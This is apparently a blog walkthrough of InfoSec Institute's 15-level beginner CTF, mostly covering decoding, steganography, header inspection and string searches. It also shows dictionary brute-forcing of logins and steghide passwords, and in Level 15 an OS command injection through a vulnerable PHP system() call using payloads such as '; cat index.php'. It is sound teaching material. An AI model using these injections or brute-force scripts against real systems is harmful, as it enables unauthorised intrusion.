This time InfoSec Institute bring us the opportunity to learn a very basic concepts for n00bs on a CTF with 15 Levels.
Level 1
Just browse the source and see the comment.
<!-- infosec_flagis_welcome -->
flag: infosec_flagis_welcome
Level 2
Seems we have a broken image here. Just to see binary output going to make a curl request.
$ curl -vvv http://ctf.infosecinstitute.com/img/leveltwo.jpeg HTTP Request / Response ommited ... aW5mb3NlY19mbGFnaXNfd2VhcmVqdXN0c3RhcnRpbmc=
The first base64 appears, let’s decode using python:
x='aW5mb3NlY19mbGFnaXNfd2VhcmVqdXN0c3RhcnRpbmc='
x.decode('base64')
infosec_flagis_wearejuststarting
flag: infosec_flagis_wearejuststarting
Level 3
We have a QR presented on the screen. After decode it with a command-tool like zbarimage or just use your mobile, we have a morse code inside.
.. -. ..-. --- ... . -.-. ..-. .-.. .- --. .. ... -- --- .-. ... .. -. --.
Because we just don’t want waste time, use a web online.
flag: INFOSECFLAGISMORSING
Level 4
Another image on the screen saying «HTTP means Hypertext Transfer Protocol». Let’s curl again:
$ curl -vvv http://ctf.infosecinstitute.com/levelfour.php < HTTP/1.1 200 OK < Date: Fri, 13 Mar 2015 19:42:38 GMT < Server: Apache/2.4.7 (Ubuntu) < X-Powered-By: PHP/5.5.9-1ubuntu4.6 < Set-Cookie: fusrodah=vasbfrp_syntvf_jrybirpbbxvrf < Vary: Accept-Encoding < Content-Length: 3514 < Content-Type: text/html
In HTTP Headers we can see a wide variety of informations about a request with his response, this time we fix our eyes on:
< Set-Cookie: fusrodah=vasbfrp_syntvf_jrybirpbbxvrf
As we know our flag patern is infosec_flagis_ , this string doesn’t make sense, so let’s use python with rot_13 as decoder to try:
import codecs
codecs.encode('vasbfrp_syntvf_jrybirpbbxvrf', 'rot_13')
'infosec_flagis_welovecookies'
flag: infosec_flagis_welovecookies
Level 5
This time an infinite loop alert is ‘dosing’ our browser when visit page. Using some curl/burp proxy we can see entire source and see what’s causing this dos.
<script>
for(;;){
alert('Hacker!!!');
}
</script>
<img src="img/aliens.jpg" /> <br /> <br />
So let’s download this aliens.jpg file and see what is hidden. Stego is an interesting technique to hide messages inside media files. There are a lot of theory and tools to (un)hide messages, one of them is steghide.
$ steghide extract -sf aliens.jpg Enter passphrase: (none) wrote extracted data to "all.txt". $ cat all.txt 01101001011011100110011001101111011100110110010101100011010111110110011001101100011000010110011101101001011100110101111101110011011101000110010101100111011000010110110001101001011001010110111001110011
No password for the embeded data, seems binary string we can convert using python:
import binascii
x='01101001011011100110011001101111011100110110010101100011010111110110011001101100011000010110011101101001011100110101111101110011011101000110010101100111011000010110110001101001011001010110111001110011'
n = int(x, 2)
binascii.unhexlify('%x' % n)
'infosec_flagis_stegaliens'
flag: infosec_flagis_stegaliens
Level 6
In pcap, UDP packet that contains an hexadecimal string «»696e666f7365635f666c616769735f736e6966666564», easy to decode:
import hashlib
x='696e666f7365635f666c616769735f736e6966666564'
x.decode('hex')
Out[1]:'infosec_flagis_sniffed'
flag: infosec_flagis_sniffed
Level 7
This level redirects to a 404.php page that says Not found. A closer look to HTTP on Burp repeater, it reveals the flag:
HTTP/1.0 200 aW5mb3NlY19mbGFnaXNfeW91Zm91bmRpdA== Date: Fri, 13 Mar 2015 20:31:20 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.6 Content-Length: 0 Connection: close Content-Type: text/html
Another base64 string to decode on python:
x='aW5mb3NlY19mbGFnaXNfeW91Zm91bmRpdA=='
x.decode('base64')
'infosec_flagis_youfoundit'
flag: infosec_flagis_youfoundit
Level 8
It says to download a binary file app.exe. After some static and dinamic analisis with IDA and OllyDbg, seems that launch netstat command but nothing more.
This is main function decompiled showing netstat command:
// Address range: 0x401290 - 0x4012ff
int main(int argc, char ** argv) {
// 0x401290
int32_t size;
alloca(size);
printf("############################################\n");
printf("# Welcome to infosec institute net app v1.0#\n");
printf("############################################\n");
system("netstat");
_getch();
return 0;
}
If we search for strings, we found the flag, allocated in .rdata:
section: .rdata 0x403000: 69 6e 66 6f 73 65 63 5f 66 6c 61 67 69 73 5f 30 |infosec_flagis_0| 0x403010: 78 31 61 |x1a | 0x403013: 00 |. $ strings app.exe |grep flag infosec_flagis_0x1a
flag: infosec_flagis_0x1a
Level 9
Auth login that says «CISCO IDS WEB LOGIN SYSTEM». After several SQLi manual and automatic sqlmap tries we think that title of the challenge is important.
Maybe some default password on Cisco web interface device. Using Burp intruder with «cluster bomb» option we can set two simple list to try, first contains ‘root’,’admin’,’cisco’ for the username and second a common list of passwords. After a while we can observe a different content-lenght on the responses, this can be indicate that we have the flag:
username:root
password: attack
Seems is on reverse order, let’s do it in correct with python:
def rev(text):
print 'Reverse: ', text
return text[::-1]
rev('ssaptluafed_sigalf_cesofni')
Reverse: ssaptluafed_sigalf_cesofni
'infosec_flagis_defaultpass'
flag: infosec_flagis_defaultpass
Level 10
For this level a Flag.wav is available to download. Seems stego but this time we use steghide with a dictionary password, all in a expect script to automatize. Later we see that this method was not successful but i want to include as a way to create a little bruteforce password automatization on stego.
$ cat steg.sh #!/usr/bin/expect set password [lindex $argv 0] spawn steghide extract -sf Flag.wav expect "salvoconducto:" send -- "$password\r" expect eof
What it does this script is set a variable password, lauch steghide with params to extract and ‘expect’ password input(salvoconducto is password in some wird spanish translate) where we are going to bruteforce via dictionary file in bash this way:
$ for $word in `cat common.txt`; do ./steg.sh $word; echo "Tried: " $word; done
Finally the content of the wav file can be unhide with audacity changing frequency to 8000 hz and listen carefully the words: infosec[unserscore]flagis[underscore]f,o,u,n,d (spelled).
flag: infosec_flagis_found
Level 11
We download another image. One basic technique to hide some data on image files is putting on exif fields, so let’s see if we can see what is behind
$ exiftool php-logo-virus.jpg ExifTool Version Number : 8.60 File Name : php-logo-virus.jpg Directory : . File Size : 13 kB File Modification Date/Time : 2015:03:11 22:14:36+01:00 File Permissions : rwxrwx--- File Type : JPEG MIME Type : image/jpeg JFIF Version : 1.01 Resolution Unit : inches X Resolution : 96 Y Resolution : 96 Exif Byte Order : Big-endian (Motorola, MM) Document Name : infosec_flagis_aHR0cDovL3d3dy5yb2xsZXJza2kuY28udWsvaW1hZ2VzYi9wb3dlcnNsaWRlX2xvZ29fbGFyZ2UuZ2lm��. Profile CMM Type : Lino
On document name we see prefix ‘infosec_flagis_’ and another base64 that decoded give us an url (http://www.rollerski.co.uk/imagesb/powerslide_logo_large.gif) . After trying to carve this gif89a image and found nothing we assume flag is: infosec_flagis_POWERSLIDE
flag: infosec_flagis_POWERSLIDE
Level 12
An image of master yoda appears, but again can’t extract stego information. We have been trolled? We inspect source code of the page and found a css/design.css that contains:
.thisloveis{
color: #696e666f7365635f666c616769735f686579696d6e6f7461636f6c6f72;
}
And again python to decode this hex string:
import hashlib
x='696e666f7365635f666c616769735f686579696d6e6f7461636f6c6f72'
x.decode('hex')
'infosec_flagis_heyimnotacolor'
flag: infosec_flagis_heyimnotacolor
Level 13
This level contains a message that says: «WHAT THE HECK HAPPENED HERE? IT SEEMS THAT THE CHALLENGE HERE IS GONE? CAN YOU FIND IT? CAN YOU CHECK IF YOU CAN FIND THE BACKUP FILE FOR THIS ONE? I’M SORRY FOR MESSING UP :(»
We need a backup file of the levelthirteen.php. With same burp intruder technique we start to walk on filename extensions until we can find the backup one:
Start the attack and see different HTTP responses, all 404 but one is 200 OK.
It says to download misc/imadecoy file that is «tcpdump capture file (little-endian) – version 2.4 (Linux «cooked», capture length 65535)». Open wireshark, see a lot of packets and goto export HTTP objects to see if something is interesting there. We decide to download HoneyPY.PNG, here is the flag:
flag: infosec_flagis_morepackets
Level 14
This level points to a SQL file containing soem admin password (phppass). It’s a little bit hint table name is called with a question mark – Flag?
-- Table structure for table `flag?` -- CREATE TABLE IF NOT EXISTS `flag?` ( `ID` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `user_login` varchar(60) NOT NULL DEFAULT '', `user_pass` varchar(64) NOT NULL DEFAULT '', `user_nicename` varchar(50) NOT NULL DEFAULT '', `user_email` varchar(100) NOT NULL DEFAULT '', `user_url` varchar(100) NOT NULL DEFAULT '', `user_registered` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `user_activation_key` varchar(60) NOT NULL DEFAULT '', `user_status` int(11) NOT NULL DEFAULT '0', `display_name` varchar(250) NOT NULL DEFAULT '', PRIMARY KEY (`ID`), KEY `user_login_key` (`user_login`), KEY `user_nicename` (`user_nicename`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ; -- -- Dumping data for table `flag?` -- INSERT INTO `flag?` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (1, 'admin', '$P$B8p.TUJAbjULMWrNXm8GsH4fb2PWfF.', 'admin', 'christyhaigcreations@gmail.com', '', '2012-09-06 20:09:55', '', 0, 'admin');
So I have discard cracking password (have tried with no luck) and continue to see data on the same file. In the date i have solved this, ‘misc’ directory has IndexOptions enable and can download another file seems real flag for level 14, level14.db, a sqlite db file containing this:
$ strings level14.db SQLite format 3 gtableflagflag CREATE TABLE flag(flagval char[500] not null) \u0069\u006e\u0066\u006f\u0073\u0065\u0063\u005f\u0066\u006c\u0061\u0067\u0069\u0073\u005f\u0077\u0068\u0061\u0074\u0073\u006f\u0072\u0063\u0065\u0072\u0079\u0069\u0073\u0074\u0068\u0069\u0073
So it’s unicode hex that can be converted into string with python:
import hashlib
x='\\u0069\\u006e\\u0066\\u006f\\u0073\\u0065\\u0063\\u005f\\u0066\\u006c\\u0061\\u0067\\u0069\\u0073\\u005f\\u0077\\u0068\\u0061\\u0074\\u0073\\u006f\\u0072\\u0063\\u0065\\u0072\\u0079\\u0069\\u0073\\u0074\\u0068\\u0069\\u0073'
h=x.replace("\\u00","")
h.decode('hex')
'infosec_flagis_whatsorceryisthis'
Another way to solve this is seeing firends table, same unicode hex string on ID 104.
flag: infosec_flagis_whatsorceryisthis
Level 15
This level is command injection against «dig mx» command. It’s easy to ‘stop’ execution with ‘;’ and inject another command again, let’s see interesting php code on index.php file with ‘; cat index.php’
<?php
if(isset($_POST['dig'])){
echo "<pre>";
$cmd = ($_POST['dig']);
system("dig mx " . $cmd );
echo "</pre>";
die;
}
?>
What happens here is that $cmd variable is not properly sanitize and original command ‘dig mx’ is concatenated with our input so system finally lauch ‘dig mx; cat index.php’. Very bad use system command this way.
Making use of several commands we are able to, at least, see what’s system underlying, who user we are, etc …
;uname -a Linux ip-172-31-35-36 3.13.0-44-generic #73-Ubuntu SMP Tue Dec 16 00:22:43 UTC 2014 x86_64 x86_64 x86_64 ;id uid=33(www-data) gid=33(www-data) groups=33(www-data) ; ls -lasth /var/www/html total 112K 4.0K -rwxr-xr-x 1 root root 70 Mar 13 18:49 levelseven.php 4.0K -rwxr-xr-x 1 root root 3.4K Mar 13 18:49 index copy.php 4.0K -rwxr-xr-x 1 root root 142 Mar 13 18:49 404.php 4.0K -rwxr-xr-x 1 root root 3.5K Mar 13 18:49 leveltwo.php 4.0K -rwxr-xr-x 1 root root 3.4K Mar 13 18:49 leveltwelve.php 4.0K -rwxr-xr-x 1 root root 3.5K Mar 13 18:49 levelthree.php 4.0K -rwxr-xr-x 1 root root 3.8K Mar 13 18:49 levelthirteen.php 4.0K -rwxr-xr-x 1 root root 3.5K Mar 13 18:49 levelten.php 4.0K -rwxr-xr-x 1 root root 3.6K Mar 13 18:49 levelsix.php 4.0K -rwxr-xr-x 1 root root 3.4K Mar 13 18:49 levelone.php 4.0K -rwxr-xr-x 1 root root 4.0K Mar 13 18:49 levelnine.php 4.0K -rwxr-xr-x 1 root root 3.6K Mar 13 18:49 levelfourteen.php 4.0K -rwxr-xr-x 1 root root 3.6K Mar 13 18:49 levelfour.php 4.0K -rwxr-xr-x 1 root root 3.5K Mar 13 18:49 levelfive.php 4.0K -rwxr-xr-x 1 root root 3.5K Mar 13 18:49 leveleleven.php 4.0K -rwxr-xr-x 1 root root 3.7K Mar 13 18:49 leveleight.php 4.0K -rwxr-xr-x 1 root root 3.7K Mar 13 18:49 levelthirteen.php.old 8.0K -rwxr-xr-x 1 root root 5.2K Mar 13 18:49 index.php 4.0K drwxr-xr-x 2 root root 4.0K Mar 13 13:52 misc 4.0K drwxr-xr-x 3 root root 4.0K Mar 13 13:52 css 4.0K drwxr-xr-x 2 root root 4.0K Mar 13 13:47 levelfifteen 4.0K drwxr-xr-x 7 root root 4.0K Mar 13 12:21 ctflabs 4.0K drwxr-xr-x 9 root root 4.0K Mar 13 04:50 . 4.0K drwxr-xr-x 2 root root 4.0K Mar 13 04:48 js 4.0K drwxr-xr-x 2 root root 4.0K Mar 13 04:47 img 4.0K drwxr-xr-x 3 root root 4.0K Mar 13 04:12 .. 4.0K drwxr-xr-x 3 root root 4.0K Mar 13 03:56 __MACOSX
: ;cat .hey – Miux+mT6Kkcx+IhyMjTFnxT6KjAa+i6ZLibC
>>> x=’Miux+mT6Kkcx+IhyMjTFnxT6KjAa+i6ZLibC’
>>> x.decode(‘base64’)
‘2+\xb1\xfad\xfa*G1\xf8\x88r24\xc5\x9f\x14\xfa*0\x1a\xfa.\x99.&\xc2’
After several tries to convert this encode to base64, rot13+base64, etc… i have found that is actually ATOM 128 encoded, a very weird type of encodings that really is just base64 with certainly chars to substitute. See this python code:
$ python b64variant.py "Miux+mT6Kkcx+IhyMjTFnxT6KjAa+i6ZLibC" dec base64: 2+��d�*G1�r24ş�*0�.�.&� atom128: infosec_flagis_rceatomized megan35: �7�ê���5���ws�������< hazz15: ���0j��J43�и��/J���z0��䌿 zong22: ����������/�O�.��fğ
Flag: infosec_flagis_rceatomized
Bonus challenges
Found bonus on misc directory download readme.wav, seems morse code. Translate it and get the flag.
flag: INFOSECFLAGISMORSECODETONES
n00bs CTF Labs by Infosec Institute – 2nd edition | Tunelko
junio 26, 2015[…] Here another edition of n00bs infosec CTF. 13 Levels, i will add as soon as i can complete, so stay tuned and keep visiting this post. Remember first edition ?. […]